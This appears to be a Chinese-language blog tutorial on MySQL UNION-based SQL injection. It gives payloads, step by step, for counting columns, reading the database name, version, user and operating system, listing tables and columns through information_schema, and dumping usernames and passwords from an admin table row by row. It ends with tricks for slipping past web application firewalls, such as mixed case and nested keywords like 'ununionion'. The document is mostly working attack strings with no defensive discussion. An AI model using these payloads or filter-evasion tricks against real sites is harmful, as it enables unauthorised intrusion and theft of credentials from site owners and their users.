mysql的联合查询原理就是对mysql自带的系统表进行查询,因为系统表包含了所有数据库的属性。没有access表猜不出表名列名暴力破解的尴尬。
上图是我针对mysql的联合查询,画的系统表(系统数据库)的结构
以查询test数据库为例:
1.判断列数
union select 1,2,3,.......... 直到页面返回正常为止
2.判断当前数据库
union select database(),2,3,4,5 1的位置将会返回数据库的名字
数据库名 database()
数据库版本 version()
数据库用户 user()
操作系统 @@version_compile_os
3.查询表名
union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test‘
//group_concat()使多行数据在一列显示
4.查询列名
union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin‘
5.查数据 (0x20是空格的意思)
方法一:
union select group_concat(username,0x20,password),2,3,4,5 from test.admin //将所有数据在一行显示
方法二
union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因为网页限制只能显示一行数据,所以显示第一行数据
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root‘) //把第一行的用户排除掉,第二行自动上来
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin‘,‘root‘) //看第三行数据
简单绕过waf思路:
大小写绕过
ununionion 因为会过滤关键词union,所以这样写过滤后,前面un和后面的ion又拼成了一个新的union